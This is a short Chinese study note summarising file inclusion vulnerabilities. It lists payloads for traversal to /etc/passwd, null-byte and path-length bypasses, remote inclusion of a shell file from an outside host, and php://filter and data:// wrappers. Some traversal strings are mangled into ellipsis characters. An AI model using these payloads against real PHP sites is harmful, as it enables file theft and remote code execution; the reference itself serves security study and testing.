#笔记(十五)#文件包含漏洞小结
分类:
文章
•
2025-03-17 15:42:03
2.文件包含(File Inclusion)
- . 文件包含函数加载的参数没有经过过滤或者严格的定义
本地文件包含
- windows敏感信息
- 几种经典的测试方法:
- ?file=…/…/…/…/…/etc/passwdd
- ?page=file:///etc/passwd
- ?home=main.cgi
- ?page=http://www.a.com/1.php
- 目录遍历
- ?file=…/…/…/…/…/…/…/…/…/var/lib/locate.db
- ?file=…/…/…/…/…/…/…/…/…/var/lib/mlocate/mlocate.db
- 有限制的本地文件包含(各种绕过)
- %00截断
- ?file=./…/…/…/…/…/…/…/…/etc/passwd%00
- %00截断目录遍历
- ?file=./…/…/…/…/…/…/…/…/var/www/%00
- 路径长度截断
- ?file=…/…/…/…/…/…/…/…/…/etc/passwd/././././././.[…]/./././././.
- 点号截断
- ?file=…/…/…/…/…/…/…/…/…/boot.ini/………[…]…………
远程文件包含
- 远程代码执行
- ?file=[http|https|ftp]????/example.com/shell.txt
- 利用PHP流input
- 利用PHP流filter
- ?file=php://filter/convert.base64-encode/resource=index.php
- 利用data URls
- ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
- 利用xss执行任意代码
- ?file=http://127.0.0.1/path/xss.php?xss=phpcode